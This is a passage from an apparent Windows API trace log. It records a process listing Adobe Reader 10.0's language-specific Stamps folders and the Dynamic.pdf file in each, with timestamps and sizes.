ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.927] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.927] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.927] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.928] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1 [0148.928] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.928] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.928] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.928] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.928] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1 [0148.928] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.928] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.928] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcadf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.929] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.929] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0148.929] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.929] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.929] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.929] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.929] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1 [0148.929] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.930] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.930] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.930] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.930] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1 [0148.930] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.931] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.931] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.931] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.932] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1 [0148.932] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.932] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.932] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x30eb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.933] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.933] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1 [0148.933] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.934] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.934] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21a02, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.935] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.936] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1 [0148.936] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.937] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.937] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.937] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.938] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1 [0148.938] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.938] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.938] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.938] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42bdf78 | out: hHeap=0x300000) returned 1 [0148.938] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1 [0148.938] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\*", lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.938] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.938] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x327e920 | out: lpFindFileData=0x327e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.939] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.939] HeapFree (in: hHeap=0x300000, 